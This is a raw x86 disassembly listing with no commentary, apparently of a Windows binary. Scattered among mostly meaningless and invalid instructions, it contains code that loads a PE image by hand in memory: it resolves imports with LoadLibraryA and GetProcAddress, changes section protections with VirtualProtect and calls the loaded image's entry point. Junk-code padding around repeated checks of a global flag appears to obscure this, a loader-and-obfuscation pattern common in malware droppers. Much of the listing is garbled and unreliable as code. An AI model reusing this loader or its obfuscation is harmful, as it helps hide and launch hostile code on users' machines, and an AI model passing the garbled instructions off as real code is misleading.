mov dword [0x5f663cf3], eax
mov dh, 0xf1
and dword [eax + 0x67], edi
jne 0x406f82
inc eax
ja 0x406f54
dec esp
movsb byte es:[edi], byte [esi]
aas
mov byte [0x35195ba9], al
xlatb
sbb ch, byte [esi - 0x53]
pop ebp
mov cl, 0xd6
invalid
out dx, al
jp 0x406f0e
sub ah, al
push ss
loopne 0x406f2d
aaa
pop eax
cmp dword [eax + ebx*4 + 0x54e4bdb0], ebp
cld
xchg dh, bh
push edi
mov al, byte [0xa2ba2e33]
fcom qword [edi]
push ebx
mov dl, 0xdc
inc ecx
sub al, 0x93
imul ecx, dword [0xe1de4baa], 0xffffffa3
pop ss
invalid
pop ds
sbb al, 0x47
cmpsb byte [esi], byte es:[edi]
sbb bl, byte [esi + 0xcc4e46]
invalid
cmp byte [0x414008], 0
jne 0x4071b9
pop ds
pop es
push es
fldenv [eax - 0x68da1a4d]
popal
fstp qword [eax + 0x66]
cmp eax, 0xe6468a42
hlt
mov al, byte [0x414008]
test al, al
jne 0x407275
mov edi, dword [eax]
cmp edi, edi
pushal
mov es, word [esi]
cld
cmp dword [edi + ebx*4 + 0xfa37fa2], ebp
push edx
pop ebp
call 0xd7ca434d
int3
mov bh, 0x42
jno 0x40721c
xchg edx, eax
sub eax, dword [esi]
xchg ecx, edx
insb byte es:[edi], dx
shl dword [esi + 0x6c], 1
push 0xffffffffffffff95
inc edi
std
push ds
push eax
lds eax, [ecx]
out 0x52, eax
inc ebx
or ah, bl
xchg ecx, eax
push ebx
push es
push 0x6a
fbld tbyte [ecx]
lodsb al, byte [esi]
push ecx
daa
ljmp 0x5723
mov edx, dword [ebx + 4]
test al, al
mov dword [ebp - 0x2c], edx
mov edx, dword [ebx]
jne 0x4072d1
xchg ecx, eax
pop ebx
add dword [edi - 0x542e3978], edx
fsubr dword [eax]
jp 0x407213
xchg edx, eax
push esp
bound eax, qword [edi + ecx*2 + 0x771456a3]
mov edi, 0xf49827bd
xor dword [ecx], ebx
hlt
cmp dword [edx + 0x84], 0
mov esi, 1
je 0x408427
mov edi, dword [ebp - 0x2c]
add edi, dword [edx + 0x80]
test al, al
jne 0x40839f
mov esi, 0x80303331
cmp edx, dword [esi + 0x751e5f00]
or byte [eax + 0x38], bl
cmp ch, bl
sal dword [ebp + 0x5f56f07c], cl
or dword [edx + 0x2bfb7318], esp
jge 0x407316
jmp 0x40839f
add byte [esi + 0x5db56c22], bh
cmp al, 0x35
and ch, byte [ebp + esi*4 + 0x5d]
add esi, dword [esi - 0x3bd4de44]
jns 0x407388
std
push esi
mov dl, 0xd3
or byte es:[edx], dh
xor byte [edx + 0x76a5a34b], ch
and dword [ecx - 0x7820a29b], ebp
leave
xchg esp, eax
in al, 0xcc
dec edx
mov al, byte [0x676575ed]
fldenv [edx - 0x43]
unpcklps xmm2, xmmword [eax + 0x66c31c36]
invalid
cmp dword [ebp - 0x34], 0
jne 0x40751f
test al, al
mov ebx, esi
jne 0x4083e2
jb 0x407397
mov ebp, 0xc0d1302f
in ax, dx
or esp, 0xffffffb3
xchg ecx, eax
salc
push ds
adc eax, 0x88ff3300
jno 0x407364
scasb al, byte es:[edi]
invalid
cmp dword [ebp + 0x7319c901], 0x1aa3d6ea
test al, 0x63
adc dword [ebp + 0x77494de6], 0x248c6723
sbb ch, byte [eax - 0x196a7e9d]
dec ebp
dec ecx
ja 0x4073c4
mov word [si], fs
lcall 0x6f85, 0xfdc1ac8c
les edi, [ebx - 0x10]
cmp dword [ebp - 0x47], 0x71a3f09a
xchg ebx, eax
mov esi, 0xae3ff619
fmul qword [edi + esi*8 - 0x1fa04fad]
aam 0xf9
insb byte es:[edi], dx
cmp byte [edx + 0x2d2a0569], 0x80
sbb ch, byte [esi - 0x11b62b03]
ja 0x40738e
xor dword [0x817478d3], 0xa8790154
mov cl, 0xd8
mov byte [ebp - 0x73fa0b2f], al
pop ebp
or dh, byte [esi + 0x38d08a8a]
mov byte [ecx + eax*4 - 0x8c4e38a], ah
push ecx
push cs
outsd dx, dword [esi]
invalid
test al, al
jne 0x407600
ret
mov eax, dword [esi + 0xc]
lea ebx, [eax*4 + 4]
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
cmp byte [0x414008], 0
jne 0x40765e
cmp eax, 0x80e69214
sar esi, cl
or byte [edx], ah
int3
mov edx, dword [esi + 8]
mov dword [ebp - 0x48], edx
call sub.KERNEL32.dll_GetProcessHeap
mov edx, dword [ebp - 0x48]
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.KERNEL32.dll_HeapFree
sub esp, 0xc
cmp byte [0x414008], 0
jne 0x407708
in al, dx
or dword [eax - 0x782c3125], 0x1e1434b4
and eax, 0x40d14dfb
mov ecx, 0xd00b1890
ret
pushfd
das
dec eax
imul ecx, dword [edx], 0x361a2e54
div byte [eax]
scasd eax, dword es:[edi]
sbb eax, 0x191a5163
push 0xa012230b
or byte [eax + 0x41], al
add byte [ecx - 0x3f7bf7a2], cl
mov al, byte [0x414008]
mov dword [esi + 8], ebx
test al, al
jne 0x407722
sal dh, cl
iretd
invalid
test ebx, ebx
jne 0x4077b1
test al, al
mov ebx, esi
jne 0x4083e2
mov bl, cl
mov edi, 0x9e6f0a80
insd dword es:[edi], dx
sar byte [eax - 0x553bd679], 0x3b
mov edi, 0xbe8e317c
sbb byte [ecx], 0x44
outsd dx, dword [esi]
or al, 0xf9
movsb byte es:[edi], byte [esi]
push 0x92f22eb8
in eax, dx
jae 0x4076f3
pop esp
adc dword [ecx], ecx
sbb eax, 0x8d4690c9
cmp al, byte [ecx - 0x254c49b4]
jns 0x4077d8
pop ebp
xchg ebx, eax
mov dh, 0xcc
lahf
scasd eax, dword es:[edi]
jno 0x407777
push 0x8cfafa9f
insd dword es:[edi], dx
xchg esi, eax
jmp 0x484716f9
jle 0x407718
push es
dec eax
xor byte [ebp + edx*8 + 0x6a], cl
int 0x22
and dword [eax + 0x59f29afc], eax
sub eax, 0x57cd26a8
xchg edi, eax
aad 0xbf
iretd
test al, al
jne 0x4077e5
cld
inc esp
in al, 0xb6
push es
and dword [0x63f4dcb2], eax
loopne 0x4077d5
popal
mov ecx, 0x47b42c9d
ja 0x407775
invalid
lds esi, [edi]
mov cl, ah
pop eax
invalid
int3
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp - 0x34]
mov dword [ebx + eax*4], ecx
inc eax
mov dword [esi + 0xc], eax
or al, 0x8b
dec ebp
int3
mov al, byte [0x414008]
test al, al
jne 0x407883
jl 0x4077e7
sub eax, 0x7299b08
xor eax, 0x1e0d469d
cdq
loope 0x4077f2
shr byte [ebx - 0x50], 1
sub dl, bh
pop esp
jle 0x407826
jno 0x40782f
push edx
dec edx
rol al, 0xc6
cmpsb byte [esi], byte es:[edi]
in eax, dx
iretd
mov bl, 0x1c
test dl, dl
mov ch, 0x65
mov dh, 0x85
shl byte [esi - 0x53], 1
lodsw ax, word [esi]
retf 0xa94
mov edx, dword [edi]
test edx, edx
je 0x407a72
test al, al
jne 0x407978
pushfd
sub bh, ch
rcr byte fs:[edi - 0x16a0b767], cl
push edi
rcr dword [ebp + 0x47], 1
lcall 0xc392, 0xddae7770
sbb al, 6
aaa
xchg esp, eax
adc al, 0xa6
ret 0x27d0
scasd eax, dword es:[edi]
jmp 0x407985
inc edi
mov ebp, 0x5b8aefbf
div ecx
mov byte [0xa527b373], al
sbb eax, 0x3331cfea
popfd
cmc
not byte [edi - 0x5a23968f]
jle 0x40793b
push esp
imul ebp, dword [eax], 0x9b172811
or dword [esi], 0xffffff8c
cmp dword es:[edi], 0x375d274d
test byte [esi - 0x2f7c6c96], 0x89
sbb al, byte [edx - 0xe]
mul bh
jno 0x40797c
add edx, dword [ebp - 0x2c]
test al, al
mov dword [ebp - 0x3c], edx
jne 0x407a0f
push ebp
aam 0x84
ror byte [ecx - 0x7af03bab], 0x89
add byte [eax], al
add byte [edx + ebx*8], bh
cmp al, 0xda
add byte [ebp + 3], cl
sbb cl, ch
xchg byte [esi], ah
jne 0x40793d
test al, 0xb5
stc
iretd
mov ecx, dword [ebp - 0x2c]
add ecx, dword [edi + 0x10]
test al, al
jne 0x407c1c
invalid
test al, al
jne 0x407b6d
shl byte [esi + 0x1f343c53], 1
pop ebx
js 0x407af4
push esp
cmp al, cl
scasd eax, dword es:[edi]
inc ecx
in eax, dx
adc eax, 0x9450e549
xchg edx, eax
push ebp
mov bl, 0xbc
movsd dword es:[edi], dword [esi]
and byte [esi + 0x3a], dh
or byte gs:[edx], 0xc
aam 0x46
inc eax
mov eax, dword [0xc9365b8]
popfd
pop ebx
mov esp, 0x27d148de
and dword cs:[ebx + 0x7d6f76c0], edi
sbb ecx, dword [edi + 0x73f455f3]
pop edi
add byte [edi - 0x5b], al
inc eax
cmp eax, dword [esi - 7]
mov al, byte [0x343d05d9]
rcr dword [ebx], 0x7c
xchg edx, eax
inc edx
stosb byte es:[edi], al
mov bl, 0xfe
imul ebp, dword [ecx], 0x6d
call 0x9a1c7719
invalid
int1
xchg esi, eax
popfd
xor ecx, edx
jecxz 0x407b09
jno 0x407a9d
xor byte [esi + 0x6dc9f1f0], ch
test byte [ebx], cl
pop ss
aaa
or dword [edx - 0x5a95899f], eax
jb 0x407b38
aas
arpl word [edi + esi - 0x7a2ad5ac], dx
sti
mov eax, 0xe0756cb0
sbb ah, byte [ebp - 0x2f]
jecxz 0x407ad8
push ebp
out dx, al
ljmp 0xd76e
invalid
outsb dx, byte [esi]
out dx, eax
cmp esi, dword ss:[eax]
inc edx
jmp 0xcaa92fcf
mov ecx, dword [edi + 0x10]
mov ebx, dword [ebp - 0x2c]
add ebx, ecx
test al, al
mov dword [ebp - 0x3c], ebx
jne 0x407bf7
jmp 0x407bc4
in eax, 0xda
mov ecx, 0x3062288f
push esi
mov dl, 0xd2
invalid
mov eax, dword [ebx]
dec ebp
aam 0x84
sal byte [ebp + 0x1e], 0xa6
add ecx, dword [ebp - 0x2c]
test al, al
jne 0x407c1c
cmpsb byte [esi], byte es:[edi]
cli
cmp eax, 0xd52e52cd
int 0x62
add ebp, dword [esi]
jo 0x407bf6
sbb eax, 0x333d35a7
xor dword [edi], ebp
xchg dword [eax - 0x37], esp
pop eax
pop ss
jmp 0x409ac0
xor ebx, ebx
jmp 0x408219
mov dl, byte [0x414008]
test dl, dl
jne 0x407cd8
fimul dword [esi + 0x32]
in eax, 0x4b
mov esp, 0x9b0fd4df
xchg esp, eax
dec ebx
xchg esp, esp
xchg byte [ecx], dh
ja 0x407cab
or dh, byte [edi]
add eax, 0xe712aa55
lodsd eax, dword [esi]
xor dl, ah
leave
adc byte [ebx - 0x771aa15d], dh
test eax, 0xb07d68a1
add edx, dword [edx]
cld
mov esi, esi
cmp byte [esi + ebp*2 - 0x105a3916], 0x1c
dec edi
add al, byte [ebx]
cld
xor ah, ch
lds eax, [edx - 0x68]
push 0x49f17da0
int1
dec ecx
push ds
pop ecx
invalid
push es
jle 0x407c72
inc edx
add dword [ecx], edx
enter 0xffffffffffffb8a3, 0x14
adc al, 0xbb
cmp byte [eax - 0x5b], dl
sub al, 0xd9
xor al, 0x5c
cdq
sub eax, 0xb4ac806f
invalid
test eax, eax
jns 0x407e06
test dl, dl
jne 0x407d2d
or dword [esi - 0x21d7214f], 0x28ba84d
aaa
inc eax
sub ch, byte [edi]
insd dword es:[edi], dx
mov ecx, 0x6f0d182e
lds esi, [edx + 0x78]
adc eax, 0x6779958f
ljmp 0x4a96
and eax, 0xffff
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
cmp byte [0x414008], 0
push ecx
push ecx
mov ecx, dword [ebp - 0x48]
mov dword [ecx + ebx], eax
jne 0x407f41
xor ch, byte [esi]
into
scasd eax, dword es:[edi]
push eax
xchg esp, eax
cmp eax, esp
pop ds
xor eax, 0x86c0bfe9
fdiv dword [edx + 0x289200e]
and eax, 0xd60f40f5
push ss
xchg byte [edi - 0x48283e7b], dh
invalid
test dl, dl
jne 0x407ec2
pop edi
fild word [edx + 0xce21c35]
push 0xbfebda71
and al, 0xd7
sti
mov ebx, 0x62e6cfb
inc ebp
add ecx, dword [edi]
out dx, al
aas
mov edx, 0x5d7265fe
inc esp
hlt
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x48], ecx
lea eax, [edx + eax + 2]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, dword [ebp - 0x48]
cmp byte [0x414008], 0
push edx
push edx
mov dword [ecx + ebx], eax
jne 0x407f41
sbb bh, 0xb6
xor dword [eax - 0x18], ebx
or byte [edi - 0x60], al
fnstcw word [esi - 0x2b3fce04]
pop ebx
pop ds
mov bh, byte [esi]
push edi
movsd dword es:[edi], dword [esi]
cmp al, 0xd1
lea ecx, [ebx]
insd dword es:[edi], dx
push edx
lodsd eax, dword [esi]
add byte [esi + 0x4d768097], dl
mov cl, 0xce
mov ecx, 0xd393d615
rol ah, cl
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
pop ds
mov dl, 0x31
pop esi
or dl, dh
lcall 0x52b6, 0x48a564db
dec eax
dec ebp
ljmp 0x6d91
mov al, byte [0x414008]
test al, al
jne 0x408034
dec eax
in al, dx
ficomp word [ebx - 0x27ad4cc]
out dx, al
mov esp, 0xac2a7f78
and eax, 0x839e736d
invalid
mov edx, dword [ecx + ebx]
add ebx, 4
test edx, edx
jne 0x408219
test al, al
mov dword [ebp - 0x30], 0
jne 0x408227
salc
fnstenv [eax + ebx + 0xc]
dec eax
push ebx
mov bl, byte [edx]
xchg byte [ebx + 0x3bc7adb6], bh
adc byte [esi], al
jmp 0x3850f527
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + ebx]
test eax, eax
jne 0x407c23
mov al, byte [0x414008]
test al, al
jne 0x4082cc
inc eax
xor edx, ebx
out dx, eax
ljmp 0x7fa0
cmp dword [ebp - 0x30], 0
je 0x4083e6
test al, al
jne 0x40839a
invalid
add edi, 0x14
jmp 0x4083a4
mov dword [ebp - 0x30], esi
mov esi, ebx
mov dword [esp + 4], 0x14
mov dword [esp], edi
call sub.KERNEL32.dll_IsBadReadPtr
test eax, eax
push ecx
push ecx
jne 0x4083e6
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4083e6
add eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [ebp - 0x34], eax
mov al, byte [0x414008]
push edx
test al, al
jne 0x407360
jmp 0x407317
xor esi, esi
jmp 0x4083eb
mov ebx, esi
mov esi, dword [ebp - 0x30]
cmp byte [0x414008], 0
jne 0x408427
test dword [eax - 0x3fe53f54], eax
pop edx
invalid
mov al, byte [0x414008]
test al, al
jne 0x408509
push edi
push eax
and dl, byte [edx + ebx*8]
invalid
test esi, esi
jne 0x408577
test al, al
jne 0x40992e
pop esp
or eax, edi
push es
mov eax, dword [0x1d99eefc]
loopne 0x408521
cdq
sbb eax, 0xdf8e00e0
mov ds, edi
mov ebp, 0x32da2ca1
pop edx
test al, 0x47
xor bl, byte [edx - 0x58]
inc edi
rcl byte [ebx - 0x13b84941], cl
sub eax, 0xba89b1af
jns 0x408527
rcr dword [edx], 0xeb
scasd eax, dword es:[edi]
mov bl, 8
invalid
outsb dx, byte [esi]
jo 0x40857b
wait
dec edx
imul esi, ebp, 0x86c7b0f3
outsd dx, dword [esi]
jge 0x40851d
pop esp
stosb byte es:[edi], al
jge 0x408560
xor esi, dword [edi]
xchg byte [edx], ah
clc
mov al, byte [0x1553a70d]
aaa
push es
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
ja 0x408545
inc eax
ror dword [ebx + 0x35], 0xb4
sti
cld
cmp ebp, dword [ebx + 0x79]
or edi, eax
and eax, dword [esi + 0x13b7e9d4]
mov bh, 0x13
add byte [eax], al
test al, al
jne 0x40867d
inc byte [eax]
add byte [eax], al
mov ebp, 0xfbb6795b
xchg dword [ebp + 0x4f], ebx
pushfd
xchg esp, eax
push ebp
dec eax
cmp cl, ah
sub bh, byte [edx - 0x72]
jbe 0x408542
inc edx
jno 0x408541
jge 0x408573
xchg byte es:[ebx - 0x5f87f3b7], ah
retf 0x1ad3
mov edx, dword [ebx]
test al, al
mov dword [ebp - 0x30], 0
movzx ecx, word [edx + 0x14]
lea esi, [edx + ecx + 0x18]
jne 0x4092b9
in eax, dx
test al, al
mov edx, dword [esi + 0x24]
jne 0x408764
sahf
dec esi
inc ebx
or al, 0x1b
adc eax, 0xd4179e2d
invalid
nop
retf
test edx, 0x2000000
je 0x40890d
test al, al
jne 0x4087f8
jae 0x408701
outsb dx, byte [esi]
dec ecx
inc edx
sal bl, cl
push edi
and edx, ebp
lahf
imul esp, dword [eax + 0x5423be38], 0x5e
leave
cmp esp, dword [eax - 0x3d]
and eax, 0x8c12d192
cmp eax, 0xf8ccfe85
test dword [edx], edi
inc edx
invalid
mov dword [esp + 8], 0x4000
mov eax, dword [esi + 0x10]
mov dword [esp + 4], eax
mov eax, dword [esi + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
cmp byte [0x414008], 0
jne 0x4092b1
invalid
sahf
sub cl, byte [ebx - 9]
inc dword [eax + eax*8 - 0x425cd075]
pop eax
mov ch, 0xc4
mov ebp, dword [edi]
mov dword [0xc4b558bd], eax
popfd
fsub dword [ebp - 0x2663da24]
call 0x42a8ee3c
loop 0x408908
fld1
inc eax
push 0x420ae242
inc edx
loope 0x40893a
loope 0x40890f
test al, bl
or ecx, dword [ecx]
cwde
jmp 0x4092b1
test al, al
jne 0x408968
cmp byte [ebx], bh
push esp
nop
int1
sbb byte [esi], ch
leave
mov ebp, 0xe359ee0a
xlatb
pop ecx
jecxz 0x4088f6
cdq
dec eax
aas
fsubr qword [edx]
dec ecx
push ds
or al, 0x83
call [eax]
pop es
xlatb
and edx, dword [eax]
jo 0x4088e9
dec eax
stosd dword es:[edi], eax
or eax, 0x7259cd9
loop 0x40894b
push esp
cmp al, 0xf5
sub edx, ebp
cmp eax, 0xb468b16b
sal byte [edi + esi - 0x31], 1
invalid
scasd eax, dword es:[edi]
dec edi
pop ss
push 0x7176c298
pop edi
wait
js 0x40891c
jle 0x4088e2
sbb dword [edx - 0x4370ba82], edi
mov al, 0x41
and al, 0x64
adc dword [eax - 0x76db1f64], ebx
ror dword [ecx + 0x1ff9c1d3], 1
mov ecx, edx
mov ebx, edx
sar ecx, 0x1f
and ecx, 4
mov dword [ebp - 0x34], ecx
mov ecx, edx
and ecx, 0x40000000
cmp ecx, 1
sbb ecx, ecx
and ebx, 0x20000000
not ecx
and ecx, 8
cmp ebx, 1
sbb ebx, ebx
not ebx
and ebx, 0x10
jecxz 0x4089a7
test al, al
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x34]
lea ecx, [ebx + ecx + 0x413c94]
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ecx + ebx]
pop ebp
aam 0x8b
or al, 0x19
mov dword [ebp - 0x2c], ecx
jne 0x408a59
xchg ebx, edx
sub bl, byte [esi - 0x4e9e3dc5]
xor eax, eax
dec ebp
stosd dword es:[edi], eax
test ebx, ecx
xor eax, 0xe3b3859e
adc al, 0x6f
xchg ebx, eax
push ebp
xchg ebx, eax
clc
sub dx, word [edi + eax*2 + 0x22ce6f4f]
cdq
insd dword es:[edi], dx
pop esi
pop esp
into
jg 0x137be66f
daa
jo 0x408995
lodsb al, byte [esi]
and edx, dword [ebp + 0x162893c1]
and byte es:[ebp + 0x52], bh
mov ah, 0xc4
mov eax, dword [0xbdc49223]
jmp dword [edx]
test edx, 0x4000000
je 0x408abb
test al, al
jne 0x408aa1
scasd eax, dword es:[edi]
lodsb al, byte [esi]
pop ss
or eax, esp
push ss
inc ebx
pop ss
pop dword [edx - 0x2501a1a6]
sub dword [esi + 0x19], 0xb33c4cac
cmpsb byte [esi], byte es:[edi]
sub ebp, dword [ebx]
mov bh, ch
mov esi, 0xa8c2c4cc
jae 0x408af5
mov edi, 0xc0d54f7c
inc dx
rol dl, 0x40
lcall 0xf0fa, 0xf0b4ae44
mov dword [0x29ce1ba1], eax
or cl, byte [ebp + 0x4d81cef6]
aam 0
add al, byte [eax]
add byte [eax + eax*8 + 0x429e6275], al
or dword [ebp - 0x2c], 0x200
test al, al
jne 0x408b0e
sahf
inc edx
mov esi, 0x320ebe5d
jle 0x408b29
xchg edi, eax
sal byte [0x8404eb59], 0xc0
test al, al
jne 0x408b0e
iretd
lcall 0xaa07, 0xdc68698c
lcall 0x1de7, 0x97a86964
test al, 0x52
xchg dword [eax - 0x5aa8dadf], ebp
mov dl, 0
sbb eax, 0x8752a82e
test al, 0x21
and eax, 0xb2a557
sbb ebx, esp
dec edx
test al, 0xe3
mov ebp, 0xab276f42
dec ebx
push ebp
out 0x93, al
mov esi, 0xaba62a8e
sub ah, byte [esi - 0x2b1a755]
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
pop eax
dec esi
std
fcompi st(6)
pop ds
add al, 0x4d
les esi, [edi - 0x686522b3]
test dword [ebp + 0x55], edi
enter 0x7ced, 0x73
cmp byte [eax + eax*8 + 0xf104e8b], al
test esi, ebp
add byte [eax], al
add al, cl
push ds
cmp eax, 0x2d67ad87
pop eax
mov edi, 0x719f567b
jne 0x408acb
test al, al
mov ecx, dword [esi + 0x10]
jne 0x408c07
enter 0x3d1e, 0xffffffffffffff87
lodsd eax, dword [esi]
sub eax, 0x567bbf58
lahf
jno 0x408b9c
mov dword [0xc5a39bf], eax
mov edi, 0x160c5a39
cmp dword [edx + 0xc], ebx
or al, 0x16
push ss
cmc
movsb byte es:[edi], byte [esi]
wait
jb 0x408b2b
arpl word [edi + 0x75], bx
salc
cwde
pop ds
lahf
mov dh, 0x5d
arpl sp, ax
push ebx
mov esp, 0x2312ce84
aas
xchg esi, eax
inc al
and dword [ebx], ecx
salc
push ss
scasd eax, dword es:[edi]
jno 0x408ad8
test al, 0xd5
call 0x3cc13674
dec edx
cdq
jo 0x408af6
pop esi
ret
sbb esp, dword [edx - 0x5af462b3]
or eax, 0x622dcd40
iretd
test ecx, ecx
jne 0x408fa5
test al, al
jne 0x408d0b
cmp al, byte ss:[ebx]
dec ebx
shr dword [edx - 0x18e9123f], cl
xor dword [edx - 0x71b5b321], edi
push es
sbb byte [edx], ch
les eax, [ebp + 0x5d31f88d]
inc ebx
sbb eax, 0x78d11410
dec edx
or edi, dword [ebx - 0x6b]
fbld tbyte [esi]
push esi
int3
test dl, 0x40
je 0x408ea8
test al, al
jne 0x408dae
and eax, 0x9b4c1f48
and dword cs:[esi], ecx
xchg ecx, eax
rcl dword [eax], cl
out 0x83, al
rcr ah, cl
lodsb al, byte [esi]
xor ax, 0x293a
jbe 0x408d3c
invalid
wait
leave
lodsb al, byte [esi]
test ebp, 0x55a08844
outsb dx, byte [esi]
and esp, dword [edi]
dec ebx
ror byte [ebp - 0x948f580], 1
adc eax, 0x91602f46
inc eax
salc
retf
sub bl, byte [eax + 0xd]
invalid
test al, al
mov ecx, dword [edi + 0x20]
jne 0x408ff5
push ss
cmp al, 0x59
lds ebp, [esi - 0x7bd18f2d]
inc esi
push es
inc edx
stosd dword es:[edi], eax
js 0x408d7a
dec ecx
dec ebp
push ss
push ds
mov esi, 0x2c4e51d7
xchg ebp, eax
add dl, byte [edi + 0x55]
shr byte [edi - 0x661316c0], cl
scasb al, byte es:[edi]
lcall 0xcf65, 0xf0c91f6c
xor edx, dword [eax]
inc edi
in eax, 0x59
xchg esp, eax
sti
ja 0x408e3e
ror ecx, cl
mov eax, dword [0x57a35eff]
mov bl, 0x75
push es
hlt
inc esi
ret 0x1dbb
test dl, dl
jns 0x408f5d
test al, al
jne 0x408ec6
stosb byte es:[edi], al
xchg ebx, eax
add byte [ecx - 0x27], bh
pop ebx
invalid
test al, al
mov ecx, dword [edi + 0x24]
jne 0x408ff5
pop es
pop esp
xchg edx, eax
cmovp edi, ebp
jo 0x408f0d
cmp eax, 0x4c5a0ba2
lahf
pop edx
invalid
sbb dword [eax - 5], edi
idiv edx
jge 0x408f33
jp 0x408f86
jnp 0x408f4f
add eax, 0xe9e74ee2
ror byte [esi + 0x3a5ee867], 1
fbstp tbyte [edi + 0x15d3cd7d]
push ebp
pop ebx
int 0x56
call 0xdf41c983
mov bh, 0x7d
int 0xd3
adc eax, 0xcd2e5b55
push esi
and eax, 0x4244d3c8
inc edx
inc esp
mov edi, 0xc7a24979
xor byte [ebx + 0x70f2bf88], cl
sbb eax, 0xe3fc722c
out dx, eax
retf 0x4b6
xor ch, ch
pop eax
mov ch, 0x3b
pushfd
idiv dword [edi + 0x5c]
jo 0x408f1f
invalid
test al, al
jne 0x4091fa
mov eax, 0xa8d5307b
mov byte [0x9b918bd1], al
inc edx
xchg ebp, eax
mov ebx, 0xbba8c753
pop ds
pop ebp
idiv byte [esp + edx*2 + 0x3dc41875]
push ss
sti
lahf
jne 0x408f95
les edi, [0x9f36fb16]
mov ebx, 0xc3eb1aee
ret 0x958d
jmp 0x408f4b
lcall 0x6e09, 0x445694f0
or byte [edi - 0x7c], al
add al, 0x7d
and edi, dword [edi - 0x3f7bf715]
test al, al
jne 0x40903c
cmp eax, 0x37002faa
les ecx, [esi + 0x55]
cmc
fimul word [eax]
loopne 0x408f7b
xor byte [eax + 0x1c], 0x64
hlt
test ecx, ecx
je 0x4091fa
test al, al
jne 0x40903c
retf
mov eax, dword [ebp - 0x2c]
lea edi, [ebp - 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov eax, dword [esi + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
test eax, eax
jne 0x4090f4
cmp byte [0x414008], 0
jne 0x4090f4
ljmp 0x44af:0x1b250509
dec esi
sub byte [ecx], 0x19
pop ecx
sub al, dl
rcl byte [edi + 0x53], 0x4a
neg dword [esp + ebp*2]
or esp, 5
out dx, al
daa
inc eax
and eax, dword [edx]
jmp 0x409108
cmp byte [0x414008], 0
jne 0x4091fa
cmp eax, 0x414008
add byte [edi], cl
test ecx, edi
add byte [eax], al
add byte [esi - 0x6a], al
inc esi
xchg esi, eax
lcall 0x8310, 0xfdb68d90
add bh, bh
stosb byte es:[edi], al
inc edx
adc byte [ebx + 0x42aaff02], al
and ch, byte [ebp + ebp + 0x14c31644]
cld
loopne 0x4090d6
call 0xd23e7c69
jno 0x40915b
sbb byte [edi + 0x5f47b3d2], dh
imul eax, dword [edi + ebp*2 - 0x14], 0x88966e46
xchg ecx, eax
inc ebx
mov dh, 0xd5
pop ecx
jns 0x40911d
push ebp
pop ecx
test al, 0x3d
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
cmp dh, byte [edi + 4]
jbe 0x4090cf
mov ebx, 0xa7024348
lodsb al, byte [esi]
inc edi
push ss
cdq
lea eax, [ebp + 0x7216162f]
int3
adc ecx, dword [0x8f55ce4c]
sar esp, 1
cmp ebx, dword [eax]
adc edx, esp
movsd dword es:[edi], dword [esi]
cwde
add al, 0xbb
scasb al, byte es:[edi]
jbe 0x4090f5
cdq
inc edx
int3
cmp byte [0x414008], 0
jne 0x4092b1
mov esp, 0x583143b2
lahf
xor edx, esp
pop es
out dx, al
xor dword [ecx], ebx
push 0xdcb41fd7
js 0x409276
sbb byte cs:[edi], 0x50
cwde
dec ebx
ret
invalid
inc dword [ebp - 0x30]
add esi, 0x28
jmp 0x4092bc
mov dword [ebp - 0x3c], ebx
mov edx, dword [ebp - 0x3c]
mov edi, dword [edx]
movzx eax, word [edi + 6]
cmp dword [ebp - 0x30], eax
mov al, byte [0x414008]
jl 0x4086eb
test al, al
mov ebx, edx
jne 0x4093ee
mov cl, 0x88
pop ds
cmpsd dword [esi], dword es:[edi]
fstpnce st(1), st(0)
xchg ebx, eax
dec ebp
invalid
int1
jns 0x4093e1
or cl, dl
hlt
xchg edx, eax
dec esp
add dh, dh
stosb byte es:[edi], al
retf
mov edx, dword [edi + 0x28]
test edx, edx
je 0x409883
test al, al
jne 0x40954b
push 0x5d
or eax, 0x596067dd
inc edx
enter 0xc6b, 0xffffffffffffffe3
mov dh, 0xc2
pushal
wait
push ebp
lodsb al, byte [esi]
pushfd
dec ebx
push edi
fsub qword [bx + si]
inc eax
out 0x96, eax
sub dword [ebx - 0x78ef6c86], esi
jno 0x40949c
out 0xca, eax
mov ecx, 0xe62592d9
jne 0x409409
test al, 0xd5
jbe 0x4093b4
adc byte [edx], 0x48
fnstcw word [edx + 0x24]
adc cl, byte [eax - 0x27]
jp 0x40945b
stc
mov edx, 0xbfe38f0c
or dword [edi - 0x30], esi
nop
call 0x1f30c8d
push ecx
inc esp
aaa
mov edx, 0x778fe001
fst qword [ecx]
mov ah, byte [esi]
ljmp 0x7356
push ss
jl 0x409477
out 0xd, al
add dword [0xd62eb385], ebp
not dword [esi + ecx - 0x4f]
push ebp
out dx, al
inc ecx
int 0xcb
push edx
push edi
int1
cmp eax, 0x19203c5b
xchg edx, eax
xchg ebx, eax
mov ebx, 0x8ed410a8
sbb eax, 0x88a2bcd5
ljmp 0x9431
aaa
jecxz 0x409431
test dword [ebx], ebx
invalid
mov ecx, dword [ebp - 0x38]
add edx, dword [ebp - 0x38]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], ecx
call edx
mov dl, byte [0x414008]
sub esp, 0xc
test dl, dl
jne 0x409656
xlatb
push eax
